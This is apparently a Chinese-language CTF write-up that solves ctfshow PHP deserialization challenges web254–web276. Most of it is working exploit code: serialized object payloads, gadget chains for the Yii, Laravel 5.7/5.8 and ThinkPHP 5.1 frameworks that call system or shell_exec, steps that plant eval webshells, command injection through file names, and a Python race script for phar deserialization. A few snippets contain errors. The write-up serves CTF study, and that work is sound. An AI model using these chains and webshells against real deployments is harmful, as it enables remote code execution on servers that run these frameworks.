web254
直接构造
?username=xxxxxx&password=xxxxxx
web255
这关开始使用cookie进行反序列化
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$aa = serialize(new ctfShowUser());
echo urlencode($aa);
将题目类中的$isVip=false 改为true即可,注意这里要进行url编码
运行后得到
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
?添加到cookie
然后GET传参
?username=xxxxxx&password=xxxxxx
得到flag
web256
比上一题多出了来
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$aa = serialize(new ctfShowUser());
echo urlencode($aa);
运行得到
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22xxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
?添加cookie
GET传参
?username=xxxxxx&password=xxxx
web257
这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中
所以我们需要定义一个 ctfShowUser 的对象
发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo
同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键
构造:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code = 'eval($_POST[a]);';
public function getInfo(){
eval($this->code);
}
}
$aa = serialize(new ctfShowUser());
print_r(urlencode($aa)) ;
运行后得到
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D
添加到cookie即可
然后GET传参
?username=1&password=2
POST传参:
a=system('ls');
a=system('tac flag.php');
得到flag
web258
多了一个正则匹配
相当与过滤? ?o:数字
将其中的o:数字改为o:+数字即可
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code = 'eval($_POST[a]);';
public function getInfo(){
eval($this->code);
}
}
$aa = serialize(new ctfShowUser());
echo $aa;
$bb = str_replace(':11',':+11',$aa);
$cc = str_replace(':8',':+8',$bb);
print_r(urlencode($cc));
运行得到?
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D
后面的操作和上一题相同
web259
web260
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这里将GET传参的结果进行序列化
对字符串进行序列化后是它本身
得到flag
web261
观察发现
魔术方法:__invoke() ? ? ?当尝试将对象调用为函数时触发
但是这里没有相关的函数,所以这个相当于没用
魔术方法:__wakeup()? ??执行unserialize()时,先会调用这个函数
在PHP7.4以上版本,如果出现反序列化的魔术方法,就会绕过__wakeup
这里判断code是否等于0x36d,对应877
而且这里是弱类型比较
file_put_contents()函数:函数把一个字符串写入文件中,这里就是把password写入username中
所以需要这里的username为一个文件
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct(){
$this->username=$u='877.php';
$this->password=$p='<?php @eval($_POST[1]);?>';
}
}
echo urlencode(serialize(new ctfShowvip()));
运行后得到
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
?
得到flag
web262
页面没有关于flag的信息,只有一个setcookie
发现
访问message.php
这里我们需要污染token,让他变为admin,才能得到flag
其中str_replace将fuck替换成loveU,这里就可以使用逃逸
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message('fuck','b','c');
echo serialize($msg);
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg_str = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_str;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg2 = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg3 = serialize($msg2);
$msg3_str = str_replace('fuck', 'loveU', $msg3);
echo $msg3_str;
echo "<br>";
//{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
echo base64_encode($msg3_str);
将最后输入的加入到cookie的msg中,刷新网页即可
还有一种非预期解:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo base64_encode(serialize(new message('a','b','c')));
写入cookie即可
web263
这关不一样了,直接是一个登录
访问www.zip获取源码
发现check.php中包含了inc.php
在inc.php中发现
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
发现在魔术方法__destruct中会把password写入log-username文件中,而这里的username和password可控
在index.php中会检查是否设置了session,并且
这一个是关键,他会把cookie中的limit经过base64解码后保存到session的limit中
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($a));
运行后得到
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
写入登录界面的cookie中
再次访问该页面,然后访问check.php
然后访问log-1.php
post传参:
1=system('ls');
1=system('tac flag.php');
得到flag
web264
这关同样发现有message.php
当session中的msg经过base64解码和反序列化后,如果其中的token为admin,输出flag
在第一页发现GET传入的fmt会创建一个对象,将其中的fuck字段替换为loveU,这里替换后的字符串的长度变大,所以存在字符串逃逸漏洞
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
传参:
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
访问massage.php即可(记得设置cookie,任意设置)
web265
当token和password相等时,输出flag
这里的token被随机了,为了使password和他相等,只需要把$password=&$token即可(引用)
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
GET传参即可
web266
file_get_contents('php://input')
可以访问请求的原始数据流,可以获取到GET和POST的数据
发现执行魔术方法__destruct时会输出flag
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
}
echo serialize(new ctfshow('a','b'));
//O:7:"ctfshow":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}
//O:7:"ctfshow":2:{ctfshow}
抓包,写入即可
web267
查看源码发现是yii框架
使用admin/admin登录
在About页面的源码中发现
about界面源码中多了一个注释<!--?view-source -->
get传数据/index.php?r=site%2Fabout&view-source
yii利用链
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
利用dnslog,命令执行(http://dnslog.cn/)
Get SubDomain
再次给code传参
对? L3Zhci93d3cvaHRtbC9iYXNpYy93ZWIK? base64解码得到
/var/www/html/basic/web
之后
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
}
}
给code传参
?然后访问1.php
POST传参
1=system('ls /');
1=system('tac /flag');
得到flag
web268
这题和上一题很相似
这题应该是把上一题的链子过滤了,这里还有一个链子
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
方法和上题一样
1=system('ls /');
1=system('tac /flags');
web269
继续使用上一题的链子
web270
还是268的链子
web271
这道题是Laravel5.7框架
参考博客:laravel5.7 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel反序列化漏洞
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
POST传参即可得到flag
(如果失败的话使用bp发送到repeater后send,就可以看到flag)
web272
这道题是Laravel5.8框架
参考博客:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞利用
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
POST传参data,用bp抓包发送repeater后send,就可以得到flag
web273
同上
web274
TP5.1的框架
先要找到一个反序列化的入口
查看源码,发现
链子:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
运行得到
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
然后在后面加
&lin=ls /
GET传参?
?之后
&lin=tac /flag
得到flag
web275
filename可控,只要$this->evilfile=true; 可以执行系统命令了
?fn=php;ls .
?fn=php;tac flag.php
web276
比上一题多了一个admin
这一题的考点就是phar
先生成一个phar包
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f='',$fn=''){
$this->filename='1;tac fla?.ph?';
$this->filecontent='';
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar = setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
import requests
import time
import threading
success = False
#读取phar包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar内容
def writePhar(url,data):
print('writing...')
requests.post(url,data)
#触发unlick的phar反序列化
def unlinkPhar(data,url):
global success
print('unlinking...')
res = requests.post(url,data)
if 'ctfshow' in res.text and success is False:
print(res.text)
success = True
def main():
global success
url = ''
phar = getPhar('phar.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
w.start()
u.start()
if __name__ == '__main__':
main()
|